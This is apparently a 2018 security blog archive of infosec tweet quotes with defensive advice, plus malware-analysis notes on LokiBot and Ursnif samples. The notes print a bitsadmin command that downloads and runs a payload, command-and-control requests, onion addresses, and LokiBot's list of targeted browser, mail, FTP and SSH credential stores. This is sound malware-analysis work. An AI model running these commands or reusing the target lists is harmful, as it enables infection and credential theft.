neonprimetime security , just trying to help: April 2018

Friday, April 27, 2018

Infosec quotes - system

This why applications like a website for example should NOT run as a system account. Use least privilege instead.

“...

"SYSTEM" is God in Windows. It's more powerful even than Administrator

...”

https://twitter.com/vessonsecurity/status/989991215566290945?s=21

Thursday, April 26, 2018

Infosec quotes - ilo ransomware

“...

Ransomware is coming for your servers via iLO/IPMI

...”

https://twitter.com/kyhwana/status/989620411242504192?s=21

Infosec quotes - 00000 password

Employees if you see silly stuff like a default password like this from a vendor, raise a red flag, escalate to your manager, etc. Don’t ignore it.

“...

If the entity that supplies your ... credit card terminal has you change the settings on the device with a default "000000" password, you've got bigger problems than an expensive PCI audit

...”

https://twitter.com/briankrebs/status/989621851885391877?s=21

Infosec quotes - extract

“...

3 lines of native powershell to extract stored credentials from Edge && IE

...”

https://twitter.com/hansesecure/status/989379541654212608?s=21

Infosec quotes - drupal

“...

Hackers Don't Give Site Owners Time to Patch, Start Exploiting New Drupal Flaw Within Hours

...”

https://twitter.com/campuscodi/status/989483985859432448?s=21

Wednesday, April 25, 2018

Infosec quotes - av would solve

“...

Malware trend observation: Attackers rely on knowing which industries and individuals are likely to not be following best practices, as many ‘newsworthy’ events in the past couple weeks were malware or techniques that even well maintained basic antivirus would stop.

...”

https://twitter.com/jepaynemsft/status/988895496381984770?s=21

Infosec quotes - win 2012

“...

Did you know that Windows Server 2012 R2 is out of mainstream support on October 9, 2018? You should be deploying Windows Server 2016.

...”

https://twitter.com/sqlha/status/988823183766716419?s=21

Infosec quotes - vm escape

“...

successfully demonstrated a VMware escape from a guest to the host from a unprivileged account, resulting in executing code on the host, breaking out of the virtual machine

...”

https://twitter.com/tal_liberman/status/988689469279744001?s=21

Sunday, April 22, 2018

Infosec quotes - ski

“...

The control unit of a Ski lift gondola in Austria was exposed to the internet, allowing you to start/stop/reverse it and even configure the steel cable tension!

...”

https://twitter.com/svblxyz/status/986968644310716417?s=21

Thursday, April 19, 2018

Infosec quotes - Evernote clipper

“... Evernote Clipper collects so much data from the webpages you visit...”

https://twitter.com/vysecurity/status/987013176331067392?s=21

lokibot sample

Found by @neonprimetime from 4/10/2018
Subject Priority :Invoice, PL & BL(Validate and confirm for final payment)
Attachment L5643290HS.doc
MD5 Checksum 33c06f02d43545be1b8baa567775402d
https://www.reverse.it/sample/729fdbb4b840234dc48fd13770d6811908aac73d3e76228a9aa02a8f776d9cbf?environmentId=100
sending ip: 104.47.33.228 (outlook.com)

word doc is actually RTF that runs bitsadmin to download loki payload

cmd.exe /c bitsadmin /transfer sY /priority foreground http://tpreiastephenville.com/jazz.exe %USERPROFILE%\rW.exe && start %USERPROFILE%\rW.exe
md5,29BEE3FCCFE036A03281B7940718D38F
https://www.reverse.it/sample/a66f989e58ada2eff729ac2032ff71a159c521e7372373f4a1c1cf13f8ae2f0c?environmentId=100


it is lokibot (here's another example to compare:  https://pastebin.com/pArSzS01 )

-------------------------------
interesting network connections
-------------------------------
http posts to 216.222.194.136:80
POST /wp-content/along/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: alongsidecoach.com
Accept: */*
Content-Type: application/octet-stream
Content-Encoding: binary
Content-Key: E292D1AA
Content-Length: 159
Connection: close
..(.......ckav.ru.

--------------------------------
interesting in-memory strings
--------------------------------
0x4a0074 (55): http://alongsidecoach.com/wp-content/along/five/fre.php
0x2fd82e6 (26): Comodo\Dragon
0x2fd8302 (44): MapleStudio\ChromePlus
0x2fd8332 (26): Google\Chrome
0x2fd8396 (26): Titan Browser
0x2fd83be (40): Yandex\YandexBrowser
0x2fd83ea (40): Epic Privacy Browser
0x2fd8416 (28): CocCoc\Browser
0x2fd8446 (30): Comodo\Chromodo
0x2fd847a (26): Coowon\Coowon
0x2fd8496 (30): Mustang Browser
0x2fd84b6 (36): 360Browser\Browser
0x2fd84de (40): CatalinaGroup\Citrio
0x2fd850a (34): Google\Chrome SxS
0x2fd854e (44): \Opera\Opera Next\data
0x2fd857e (56): \Opera Software\Opera Stable
0x2fd85ba (102): \Fenrir Inc\Sleipnir\setting\modules\ChromiumViewer
0x2fd8622 (104): \Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer
0x2fd868e (24): vaultcli.dll
0x2fd86aa (19): VaultEnumerateItems
0x2fd86be (20): VaultEnumerateVaults
0x2fd86e2 (12): VaultGetItem
0x2fd86f2 (14): VaultOpenVault
0x2fd8702 (15): VaultCloseVault
0x2fd8712 (116): Software\Microsoft\Internet Explorer\IntelliForms\Storage2
0x2fd87b2 (92): Software\Microsoft\Internet Explorer\TypedURLs
0x2fd881a (84): SELECT encryptedUsername, encryptedPassword, formSubmitURL, hostname FROM moz_logins
0x2fd888e (17): encryptedUsername
0x2fd88a2 (17): encryptedPassword
0x2fd88b6 (28): %s\logins.json
0x2fd88d6 (22): %s\prefs.js
0x2fd88ee (34): %s\signons.sqlite
0x2fd8912 (22): signons.txt
0x2fd892a (24): signons2.txt
0x2fd8946 (24): signons3.txt
0x2fd8962 (62): %s\Mozilla\Firefox\profiles.ini
0x2fd89a2 (60): %s\Mozilla\Firefox\Profiles\%s
0x2fd89e2 (66): %s\Mozilla\SeaMonkey\profiles.ini
0x2fd8a2a (64): %s\Mozilla\SeaMonkey\Profiles\%s
0x2fd8a6e (58): %s\Flock\Browser\profiles.ini
0x2fd8aaa (56): %s\Flock\Browser\Profiles\%s
0x2fd8ae6 (54): %s\Thunderbird\profiles.ini
0x2fd8b1e (52): %s\Thunderbird\Profiles\%s
0x2fd8b56 (48): %s\K-Meleon\profiles.ini
0x2fd8b8a (28): %s\K-Meleon\%s
0x2fd8baa (64): %s\Comodo\IceDragon\profiles.ini
0x2fd8bf2 (62): %s\Comodo\IceDragon\Profiles\%s
0x2fd8c32 (92): %s\NETGATE Technologies\BlackHawk\profiles.ini
0x2fd8c92 (90): %s\NETGATE Technologies\BlackHawk\Profiles\%s
0x2fd8cee (46): %s\Postbox\profiles.ini
0x2fd8d1e (44): %s\Postbox\Profiles\%s
0x2fd8d52 (74): %s\8pecxstudios\Cyberfox\profiles.ini
0x2fd8da2 (72): %s\8pecxstudios\Cyberfox\Profiles\%s
0x2fd8df2 (94): %s\Moonchild Productions\Pale Moon\profiles.ini
0x2fd8e52 (92): %s\Moonchild Productions\Pale Moon\Profiles\%s
0x2fd8eb2 (50): %s\FossaMail\profiles.ini
0x2fd8ee6 (48): %s\FossaMail\Profiles\%s
0x2fd8f1a (150): %s\Lunascape\Lunascape6\plugins\{9BDD5314-20A6-4d98-AB30-8325A95771EE}\data
0x2fd8ff6 (22): %s\nss3.dll
0x2fd901a (12): NSS_Shutdown
0x2fd902a (23): PK11_GetInternalKeySlot
0x2fd9042 (13): PK11_FreeSlot
0x2fd9052 (17): PK11_Authenticate
0x2fd9066 (15): PK11SDR_Decrypt
0x2fd9076 (22): PK11_CheckUserPassword
0x2fd908e (16): SECITEM_FreeItem
0x2fd90a2 (22): sqlite3.dll
0x2fd90ba (28): mozsqlite3.dll
0x2fd90ee (16): sqlite3_finalize
0x2fd9102 (12): sqlite3_step
0x2fd9112 (13): sqlite3_close
0x2fd9122 (19): sqlite3_column_text
0x2fd9136 (14): sqlite3_open16
0x2fd9146 (18): sqlite3_prepare_v2
0x2fd915a (15): sqlite3_prepare
0x2fd916a (28): CurrentVersion
0x2fd918a (64): SOFTWARE\Mozilla\Mozilla Firefox
0x2fd91d6 (20): %s\%s\Main
0x2fd91ee (34): Install Directory
0x2fd922a (72): SOFTWARE\Mozilla\Mozilla Thunderbird
0x2fd9276 (52): SOFTWARE\Mozilla\FossaMail
0x2fd92ae (48): SOFTWARE\Postbox\Postbox
0x2fd92e2 (44): SOFTWARE\Mozilla\Flock
0x2fd9312 (40): SOFTWARE\Flock\Flock
0x2fd934a (28): %ProgramW6432%
0x2fd936a (42): %s\NETGATE\Black Hawk
0x2fd9396 (52): SOFTWARE\Mozilla\Pale Moon
0x2fd93d2 (140): %s\Lunascape\Lunascape6\plugins\{9BDD5314-20A6-4d98-AB30-8325A95771EE}
0x2fd9462 (34): SOFTWARE\K-Meleon
0x2fd949a (72): SOFTWARE\ComodoGroup\IceDragon\Setup
0x2fd94fa (64): SOFTWARE\8pecxstudios\Cyberfox86
0x2fd953e (60): SOFTWARE\8pecxstudios\Cyberfox
0x2fd957e (60): SOFTWARE\mozilla.org\SeaMonkey
0x2fd95be (38): %s\Mozilla\Profiles
0x2fd95ee (52): SOFTWARE\Mozilla\SeaMonkey
0x2fd9626 (50): SOFTWARE\Mozilla\Waterfox
0x2fd9672 (22): firefox.exe
0x2fd9696 (24): kernel32.dll
0x2fd96b2 (11): CloseHandle
0x2fd96be (11): CreateFileW
0x2fd96d6 (11): ExitProcess
0x2fd96e2 (22): Crypt32.dll
0x2fd96fa (20): CryptStringToBinaryA
0x2fd9712 (22): Shlwapi.dll
0x2fd9732 (14): GetProcAddress
0x2fd9742 (12): LoadLibraryW
0x2fd977a (39): X!2$6*9(SKiasb+!v<.qF58_qwe~QsRTYvdeTYb
0x2fd97a2 (42): form_password_control
0x2fd97ce (42): form_username_control
0x2fd97fa (108): Software\QtWeb.NET\QtWeb Internet Browser\AutoComplete
0x2fd986a (84): %s\QupZilla\profiles\default\browsedata.db
0x2fd98ee (20): InstallDir
0x2fd990a (72): SOFTWARE\Apple Computer, Inc.\Safari
0x2fd995a (88): %s\Apple Computer\Preferences\keychain.plist
0x2fd99ba (78): %s\Apple Application Support\plutil.exe
0x2fd9a16 (54): -convert xml1 -s -o %s "%s"
0x2fd9a4e (56): %s\Data\AccCfg\Accounts.tdat
0x2fd9a8a (20): %s\Storage
0x2fd9aa2 (24): Account.rec0
0x2fd9abe (30): %s\Foxmail\mail
0x2fd9aea (26): %SYSTEMDRIVE%
0x2fd9b1a (24): EmailAddress
0x2fd9b36 (20): Technology
0x2fd9b72 (20): PopAccount
0x2fd9b8a (22): PopPassword
0x2fd9ba2 (20): SmtpServer
0x2fd9bce (22): SmtpAccount
0x2fd9be6 (24): SmtpPassword
0x2fd9c02 (62): Software\IncrediMail\Identities
0x2fd9c66 (20): POP3Server
0x2fd9c9e (36): SMTP Email Address
0x2fd9cc6 (22): SMTP Server
0x2fd9cde (28): SMTP User Name
0x2fd9d12 (22): POP3 Server
0x2fd9d2a (28): POP3 User Name
0x2fd9d5e (36): NNTP Email Address
0x2fd9d86 (28): NNTP User Name
0x2fd9da6 (22): NNTP Server
0x2fd9dbe (22): IMAP Server
0x2fd9dd6 (28): IMAP User Name
0x2fd9e1e (30): HTTP Server URL
0x2fd9e3e (36): HTTPMail User Name
0x2fd9e66 (30): HTTPMail Server
0x2fd9ec2 (28): POP3 Password2
0x2fd9ee2 (28): IMAP Password2
0x2fd9f02 (28): NNTP Password2
0x2fd9f22 (36): HTTPMail Password2
0x2fd9f4a (28): SMTP Password2
0x2fd9f6a (26): POP3 Password
0x2fd9f86 (26): IMAP Password
0x2fd9fa2 (26): NNTP Password
0x2fd9fbe (26): HTTP Password
0x2fd9fda (26): SMTP Password
0x2fd9ffa (178): Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
0x2fda0b2 (110): Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook
0x2fda122 (110): Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook
0x2fda192 (30): %s\32BitFtp.TMP
0x2fda1b2 (30): %s\32BitFtp.ini
0x2fda1d2 (54): %s\Estsoft\ALFTP\ESTdb2.dat
0x2fda20a (22): %s\site.xml
0x2fda222 (46): %s\BitKinex\bitkinex.ds
0x2fda26e (30): LastUsedProfile
0x2fda28e (56): Software\Bitvise\BvSshClient
0x2fda2ca (40): %s\BlazeFtp\site.dat
0x2fda2fa (72): Software\FlashPeak\BlazeFtp\Settings
0x2fda346 (24): LastPassword
0x2fda376 (22): LastAddress
0x2fda3da (88): Software\NCH Software\ClassicFTP\FTPAccounts
0x2fda456 (24): %s\Cyberduck
0x2fda472 (22): user.config
0x2fda48a (30): %s\iterate_GmbH
0x2fda4aa (30): %s\EasyFTP\data
0x2fda4f2 (26): %s\ExpanDrive
0x2fda50e (26): *favorites.js
0x2fda56a (60): Software\Far\Plugins\FTP\Hosts
0x2fda5aa (62): Software\Far2\Plugins\FTP\Hosts
0x2fda5ea (148): %s\Far Manager\Profile\PluginsData\42E4AEB1-A230-44F4-B33C-F195BB654931.db
0x2fda682 (52): %s\FileZilla\Filezilla.xml
0x2fda6ba (52): %s\FileZilla\filezilla.xml
0x2fda6f2 (60): %s\FileZilla\recentservers.xml
0x2fda732 (56): %s\FileZilla\sitemanager.xml
0x2fda76e (22): %s\FlashFXP
0x2fda786 (20): *Sites.dat
0x2fda79e (20): *quick.dat
0x2fda7ca (22): FtpUserName
0x2fda7e2 (22): FtpPassword
0x2fda7fa (24): _FtpPassword
0x2fda81a (72): Software\NCH Software\Fling\Accounts
0x2fda86a (78): %s\FreshWebmaster\FreshFTP\FtpSites.SMF
0x2fda8ba (46): %s\FTPBox\profiles.conf
0x2fda8ea (64): %s\FTPGetter\Profile\servers.xml
0x2fda92e (48): %s\FTPGetter\servers.xml
0x2fda962 (50): %s\FTPInfo\ServerList.xml
0x2fda996 (50): %s\FTPInfo\ServerList.cfg
0x2fda9ca (56): %s\FTP Navigator\Ftplist.txt
0x2fdaa06 (40): %s\FTP Now\sites.xml
0x2fdaa32 (48): %s\FTPShell\ftpshell.fsi
0x2fdaa6a (64): %s\.config\fullsync\profiles.xml
0x2fdaaae (44): %s\DeluxeFTP\sites.xml
0x2fdaae2 (66): %s\GoFTP\settings\Connections.txt
0x2fdab5a (36): %s\%s%i\encPwd.jsd
0x2fdab82 (78): %s\%s%i\data\settings\sshProfiles-j.jsd
0x2fdabd2 (78): %s\%s%i\data\settings\ftpProfiles-j.jsd
0x2fdac46 (60): Software\LinasFTP\Site Manager
0x2fdac86 (52): %s\oZone3D\MyFTP\myftp.ini
0x2fdacbe (46): %s\NetDrive\NDSites.ini
0x2fdacee (46): %s\NetDrive2\drives.dat
0x2fdad22 (64): %s\Fastream NETFile\My FTP Links
0x2fdad6a (66): %s\NexusFile\userdata\ftpsite.ini
0x2fdadae (48): %s\NexusFile\ftpsite.ini
0x2fdade2 (64): %s\INSoftware\NovaFTP\NovaFTP.db
0x2fdae2a (90): %s\Notepad++\plugins\config\NppFTP\NppFTP.xml
0x2fdae8a (78): %s\Odin Secure FTP Expert\QFDefault.QFQ
0x2fdaeda (76): %s\Odin Secure FTP Expert\SiteInfo.QFP
0x2fdaf2a (26): PublicKeyFile
0x2fdaf46 (24): TerminalType
0x2fdaf62 (20): PortNumber
0x2fdaf7a (64): Software\9bis.com\KiTTY\Sessions
0x2fdafc2 (70): Software\SimonTatham\PuTTY\Sessions
0x2fdb026 (20): lsasrv.dll
0x2fdb03e (22): LsaICryptUnprotectData
0x2fdb072 (48): %s\Microsoft\Credentials
0x2fdb0a6 (22): Config Path
0x2fdb0be (50): Software\VanDyke\SecureFX
0x2fdb0f2 (22): %s\Sessions
0x2fdb13a (30): %s\SftpNetDrive
0x2fdb16a (84): %s\Sherrod Computers\sherrod FTP\favorites
0x2fdb1c2 (52): #document.favoriteManager*
0x2fdb1fa (22): %s\SmartFTP
0x2fdb222 (44): %s\Staff-FTP\sites.ini
0x2fdb252 (44): %s\Steed\bookmarks.txt
0x2fdb282 (26): %s\SuperPutty
0x2fdb30a (20): {.:CRED:.}
0x2fdb356 (24): %s\Syncovery
0x2fdb372 (26): Syncovery.ini
0x2fdb38e (28): %s\wcx_ftp.ini
0x2fdb3ae (44): %s\GHISLER\wcx_ftp.ini
0x2fdb3de (20): FtpIniName
0x2fdb3fa (64): Software\Ghisler\Total Commander
0x2fdb43e (42): %s\UltraFXP\sites.xml
0x2fdb46a (60): %s\WinFtp Client\Favorites.dat
0x2fdb4aa (20): FSProtocol
0x2fdb4c2 (46): Software\Martin Prikryl
0x2fdb4f2 (40): %s\WS_FTP\WS_FTP.INI
0x2fdb51e (26): %s\WS_FTP.INI
0x2fdb53a (22): %s\Ipswitch
0x2fdb552 (20): ws_ftp.ini
0x2fdb56a (52): %s\NetSarang\Xftp\Sessions

rtfdump cut interesting section

rtfdump.py bla.rtf

scroll & find largest section that is closest to bottom

e.g. for example id#179 was the one i found

then run

rtfdump.py -s 179 -H bla.rtf

and you get some Hex & readable ascii
if you scroll, somewhere buried in there is the content you want

e.g. for example it might start at 0x970 and end at 0xA10

then run

rtfdump.py --cut 0x970:0xA10 -s 179 -H -d

and it'll display your plain ascii text of the payload you wanted to see!!!!

sweet

Infosec quotes - internet garbage

Good reminder why privileged accounts should have no internet access. Even basic browsing activities can lead to bad things.

“... You won't believe how much garbage normal web browsing brings into your network...”

https://twitter.com/securethisnow/status/986831856682262528?s=21

Infosec quotes - first step logs

Access to Logs is important for your security team to protect an org. Firewall, server, workstation , app logs, etc.

“... Can't hunt or detect what you can't see. Visibility is definitely a key first step ...”

https://twitter.com/vysecurity/status/986857519439142913?s=21

Infosec quotes - webex meeting RCE

Cisco Webex In-meeting Remote Code Execution on attendees.

“... submit a malicious .swf to a room full of attendees via the file sharing tool, then execute the code on all of the targeted machines...”

https://www.theregister.co.uk/2018/04/19/cisco_patch_webex/

Wednesday, April 18, 2018

Infosec quotes - recon with no creds

This is an example of why it can be risky to plug hvacs, ups, IoT devices, and other non standard devices directly onto your internal network. They’re on your network so if hackd they can recon and eventually do damage.

“...

Enumerate usernames on an internal network domain where you have no creds by using SMB Relay

...”

https://twitter.com/opexxx/status/986630264867696641?s=21

Infosec quotes - office docs

Careful when you open those Microsoft Office documents as email attachments. Is it from somebody you know? Were you expecting it?

“...

The payload :

> Harvest FTP / Email credentials

> Hook keyboard

> Send email using gmail account

...”

https://twitter.com/artilllerie/status/986533417356578816?s=21

Infosec quotes - Linux won

“...

"After 43 years, this is the first day that we are announcing, and will distribute, a custom Linux kernel." --Microsoft President Brad Smith

Linus Torvalds once said, "If Microsoft ever does applications for Linux it means I've won." He's won.

...”

https://twitter.com/tal_liberman/status/986214168406573056?s=21

Infosec quotes - CCleaner timeline

“...

Oh boy the CCleaner breach timeline is good.

-Attackers used reused creds to access Devs team viewer account

-Installed malware on his device

-Pivoted to second machine using RDP protocol

- Dropped second stage

- Third stage is Shadowpad

- Pivot from here to build Server

-Infiltrate other network devices with keylogger usage and RDP

- Backdoored version of CCleaner released including Stages 1-3

- 1st stage malware infected 2.3 million

-2nd stage infected 40 companies

-No evidence if third stage shadowpad was successful deployed

...”

https://twitter.com/infosecxual/status/986536172754219008?s=21

Infosec quotes - CCleaner team viewer

“... CCleaner hack update: Avast says hackers entered Piriform's network via a TeamViewer account ...”

https://twitter.com/campuscodi/status/986559970131886080?s=21

Tuesday, April 17, 2018

Infosec quotes - fake ad blockers

Users should only be able to install chrome extensions from your org’s approved whitelist. Otherwise this happens.

“... Over 20 million Chrome users have installed fake malicious Ad Blockers...”

https://www.hackread.com/20-million-chrome-users-have-installed-fake-malicious-ad-blockers/

Infosec quotes - 2FA saves the day

“... I’ve seen massive account theft / phishing campaigns that would have decimated companies halted by SMS 2FA. ...”

https://twitter.com/hacks4pancakes/status/986338780654206977?s=21

Infosec quotes - prod and non-prod

It’s a security best practice for prod and non-prod environments to never interact with each other. You don’t want a weakness or lax security controls in non-prod to lead to a breach of your prod environment. You also shouldn’t bring un-sanitized prod data down to non-prod for the same reason, now you are protecting 2 copies of prod data!

“... A query was accidentally run against our production DB which truncated all tables ... we connected our development environment to a production DB with write access....”

https://twitter.com/bitfield/status/986327940937011200?s=21

Infosec quotes - validate redirects

Developers, remember if you need to direct your users to another web page (even if it’s the to about page on your own site) and your taking the page from the url , you need to validate it before you do the redirect. Something as simple as an few if statements or regular expressions confirming it’s a page you allow will save you headaches down the road.

https://gizmodo.com/dojs-amber-alert-website-is-redirecting-visitors-to-har-1825336250

Monday, April 16, 2018

Infosec quotes - IoT aquarium

Are your IoT devices segmented away from your internal systems? If not it could lead to your org getting breached.

“... Hackers are increasingly targeting unprotected 'internet of things' devices such as air condition systems and CCTV to get into corporate networks.... In one incident, a casino was hacked through the thermometer in its lobby aquarium...”

http://www.businessinsider.de/hackers-stole-a-casinos-database-through-a-thermometer-in-the-lobby-fish-tank-2018-4?r=UK&IR=T

Sunday, April 15, 2018

Infosec quotes - eltest hijack

“... The experts were able to hijack the entire EITest network by seizing just one domain (stat-dns[.]com)...”

https://securityaffairs.co/wordpress/71395/hacking/eitest-network-sinkholed.html

Saturday, April 14, 2018

Infosec quotes - no dmz is bad

If a public website’s web traffic (IIS, Apache, etc) gets processed by a server on your internal network then a hacked website could lead to instant total compromise of your company.

“... What happens if there is a remotely exploitable ... vulnerability in the ... presentation layer? ... If the WAF fails to catch the issue, you are toast. The hacker owns EVERYTHING. They are inside the network and able to do whatever they want....”

If your web traffic is processed in your DMZ a hacked website’s damage is usually limited in scope because the attacker now still has more work to do as they must figure out how to pivot from your DMZ into your actual internal network and hopefully you notice and fix it before that happens.

“...By layering you can limit damage and increase the chance of detecting a penetration. Firewall -> WAF -> Presentation/Logic -> Firewall -> Data, at a minimum...”

https://security.stackexchange.com/questions/166931/dmz-layer-for-web-server-presentation-layer/167193

Friday, April 13, 2018

Infosec quotes - fromdoctopdf vuln

Should your org allow free possibly poorly written chrome extensions like FromDocToPdf? Hmmm

“... FromDocToPdf: exposes browsing history to all websites...”

https://bugs.chromium.org/p/project-zero/issues/detail?id=1557

Thursday, April 12, 2018

Infosec quotes - domain admin compromised

“... If a domain administrator account has been compromised, then it is literally game over. You need to bring your domain offline, and change EVERY password...”

https://serverfault.com/questions/821696/what-next-after-a-windows-domain-account-has-been-compromised

Ursnif memory strings to look for

https://twitter.com/james_inthe_box/status/984443495711559681?s=21

Strings to look for in memory for #ursnif

type=%u&soft=%u&version=%u&user=%08x%08x%08x%08x&group=%u&id=%x&arc=%u&crc=%08x&uptime=%u

ursnif sample

found by @avman1995 
@Artilllerie says Seems to be #Ursnif
https://twitter.com/avman1995/status/984312860766560256
https://www.reverse.it/sample/4bc0433608ad7e5eb1d8efd93e12f25a26446ebeed68da7cb4301c7e9395f143?environmentId=100

----------

----------
files dropped
----------
C:\Users\xxx\AppData\Roaming\Microsoft\Audibres\comr2022.exe

-----------
interesting network traffic
-----------
1.) GET /tor/server/fp/8b029434401afdc8b9793a49005e2bc3af76c02c HTTP/1.0
Host: 178.17.170.149
Response: HTTP/1.0 200 OK
Date: Thu, 12 Apr 2018 21:28:11 GMT
Content-Type: text/plain
X-Your-Address-Is: xxx
Content-Encoding: identity
Expires: Sat, 14 Apr 2018 21:28:11 GMT

router anongoth 46.248.164.24 443 0 0
identity-ed25519
2.) 
  TCP    192.168.113.242:51007  46.248.164.24:443      ESTABLISHED     3556
 [Explorer.EXE]

----------
interesting in memory strings of injected Explorer.EXE
----------
0x51bf8ad (54): newsreader.site/images/1.png file://c:\test\test32.dll
0x51bf8e4 (52): newsreader.site/images/2.png file://c:\test\tor64.dl
0x51bf968 (12): curlmyip.net
0x51bf97f (23):  iod5tem372udbzu2.onion
0x51bf9af (23):  iod5tem372udbzu2.onion
0x51bf9f0 (16): s4Sc9mDb35Ayj8oO
0x51bfd00 (180): GET /tor/server/fp/8b029434401afdc8b9793a49005e2bc3af76c02c HTTP/1.0
Host: 178.17.170.149
0x51bfde0 (26): 46.248.164.24
0x51bf851 (21): kn.forgekitchen.co.uk
0x51bf867 (29): constitution.org/usdeclar.txt
0x51bf896 (22): iod5tem372udbzu2.onion
0x582cd52 (12): Tor 0.3.2.10
0x582cd6a (12): Tor 0.3.1.10
0x582cd82 (12): Tor 0.2.9.10
0x58b94a2 (110): Unnamed K2AMIToiw/f/wvw6j4q9xeD3BY4 +XS2INkfJlGbdg57oC+02EY2jmE 2018-04-12 12:44:13 185.216.33.126 24974 27964
0x58b9522 (110): jabbahutadre K2ZEanT/RanZw5P90ezZdFkOUgQ Vzuv+PVAsV6xxy9qH6tSUXDjfyc 2018-04-12 06:19:27 172.104.137.234 443 0
0x58b97a2 (113): fuckzuck2020 K5Z0k63JtSVOjCvl9oW00ei0CIU tFh5Owlv68v7fvapntB62pOnlNQ 2018-04-12 04:13:24 108.211.142.83 9001 9030
0x58b98a2 (115): ididnteditheconfig K69D8u8gQQvGOOWEWQ6jdRhZwCs 4dcQzJag93EEC4gctkR1i014t9U 2018-04-12 19:10:54 78.51.135.250 9001 0
0x58b9aa2 (112): xenoidRelay K/z0wi1HO4bnMotlRrIYB5VYzL0 15px8eSM83d8mYdxze9Qt4qz4qw 2018-04-12 10:26:24 87.133.137.133 9001 9090
0x58b9ba2 (115): EncryptedPotato LACLhCpONJaXOLLFdu728ZWr97c zKUZ2wz75HhJFCZh0MZGb1uMhoY 2018-04-12 07:50:07 212.47.234.10 9001 9030
0x58b9fa2 (110): rittervgexit LHUsGACJ3cibw//MsX+s/ur9eao b8qxscA36/ZSw/pJdjGIIrYZG04 2018-04-12 15:12:51 185.165.168.77 443 80
0x58ba122 (112): LePoneyQuiTousse LJsPeXQh4Z6WWC0c2q0RuraZv/0 8VrQPoup30Q2DIshj1gj8YzhN0M 2018-04-12 09:56:11 212.129.34.13 110 0
0x58ba2a2 (111): AgentOrange LNascnZxolxIBeyPrN49Nygofig l1dKnWzY74GPhwuyGnHC5U9euiU 2018-04-12 12:30:59 138.68.15.191 9447 9090
0x58ba3a2 (116): ididntedittheconfig LNrC2BcgSJxWGOjdhsE3b+5Rjxk fct7ZB2fNYbcl8Di0csFJiH3y6Q 2018-04-12 16:43:05 74.103.247.168 443 0
0x58ba622 (112): w000000h00000 LPBybHFwuXW6c3G/kxzgpvNpmFA xOg8aV027ru4qJIIvCNgvnP2gMA 2018-04-12 13:52:33 178.17.170.81 443 9030
0x58ba722 (115): BrotherhoodOfSteel LQPxqngtYRG1Jg1X87PgohyMhtc /yUqBnqgN1igmeDKVL/HpJOUqXc 2018-04-12 06:56:07 45.76.80.207 445 800
0x58ba822 (113): InglebardRelay LQYdZVO7CmIAQsUF/1dyWF2ovtw 6zw4oUrVcDBEsXUZ9qmLc9UwqGU 2018-04-12 14:35:03 5.135.176.38 9001 9030
0x58bac22 (113): HelpFreeSpeech82878 LXTX76zHXc2zvukiGwvrImdU+W4 seB2pcrQyF7Waqp3H1AimcN5eI4 2018-04-12 13:15:21 47.33.6.69 443 80
0x58bae22 (110): SteveUrkel Lb//Y5yPtpaEgSNUh8uth7gY8KM HTSk66lB75o+fcYFYJEF7NnhAss 2018-04-12 13:34:08 83.202.235.41 9021 9022
0x58bc2a2 (116): TeamSnowdenA0uRe0r Ly067Cxo303yslBjz9+WCz8wCp8 Tg3xVBJEep3VE1qz2qUtIQErXnk 2018-04-12 17:53:07 109.230.236.89 9002 0
0x58bc3a2 (111): banesTOR2 LzHOPhJjgy45GE4hLBHOJ0u5vM8 SWFYEjvtB8pVKZsPfXJFEtQG5T8 2018-04-12 05:29:02 178.238.224.132 9001 9030
0x58d5422 (102): dao H2q9CG9AuJCjPJPMRgbuaLMclVY 6IMDWix6oMtvGfPQQa8oWA09SQw 2018-04-12 16:19:00 199.184.246.250 443 80
0x58d549a (103): Netwars H42ygtRVY2/u6ESChacAewVpmlg 41ZFBGHysPlT5x/dTghP9TR7P6Q 2018-04-12 17:14:05 5.230.145.65 9035 0
0x58d5512 (104): 6cf29a H5WC9j+8eJ3071veBzkkZ4kCxj0 hWBWt+ivhPGy5cXufCWrkQdPRDo 2018-04-12 19:28:47 185.21.216.183 9443 0
0x58d558a (106): Bombadil H58eLC/6dWst4FKL8SF7VnAZqP4 QiyBhq/2S8ET5Sv5UlnYnmuCfDg 2018-04-12 03:45:49 180.181.117.164 443 0
0x58d5602 (102):  Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2
0x58d567a (107): Torpille H6RrXuaRtK1qjv7925DAMNm7ueI TlxIwUigjbiOyuwXOy4Zi7bMon8 2018-04-12 03:32:25 37.187.16.43 9001 9030
0x58d56f2 (108):  Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2
0x58d576a (105): cimmeria H7rnI/gYaEfjDqHAPMo9QIHU4vk rBlA1UsAUftSwOPNg/luZCxKHnI 2018-04-12 05:03:38 91.219.239.92 443 80
0x58d57e2 (105): serana H+cdD4j7iV95zgeuIil4WxILH7A 7A/8aUMtmlOocFsiv6oW/Y/TFV4 2018-04-12 04:52:59 104.225.219.232 9001 0
0x58d585a (102):  Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2
0x58d58d2 (104): watchme H+yGDlmUnmDREvomZJzw4yaT+08 6eY5NMyvzyUGuobfh0QpU+C93+Q 2018-04-12 17:03:18 62.210.71.205 443 80
0x58d594a (109): F3Netze IBew3yV6nWUB8IS2166q9oUuncE r1cogZWjhVk3Su6VTUo3wOp8o5s 2018-04-12 04:24:05 185.220.100.255 9100 9101
0x58d59c2 (105): Unnamed ICK8s3RT3BaObLe02tEZrAcvLe4 +7Ky7IRDV4CgkaiKF3Zd7wjzb58 2018-04-12 12:54:13 185.80.222.158 80 443
0x58d5a3a (107): picaron ICehuvDZ+9fitXNHidceqekMG4E r4qX9ptvUyBToQvZ1MLq2+LS94g 2018-04-12 17:51:09 190.210.98.90 9001 9030
0x58d5ab2 (103): Bernard IDYYZiU72xoHHX6tN0ThhwT85vE nIJemt7oC3VEwpxNmURSuxCed9Q 2018-04-12 20:00:02 77.48.73.246 6666 0
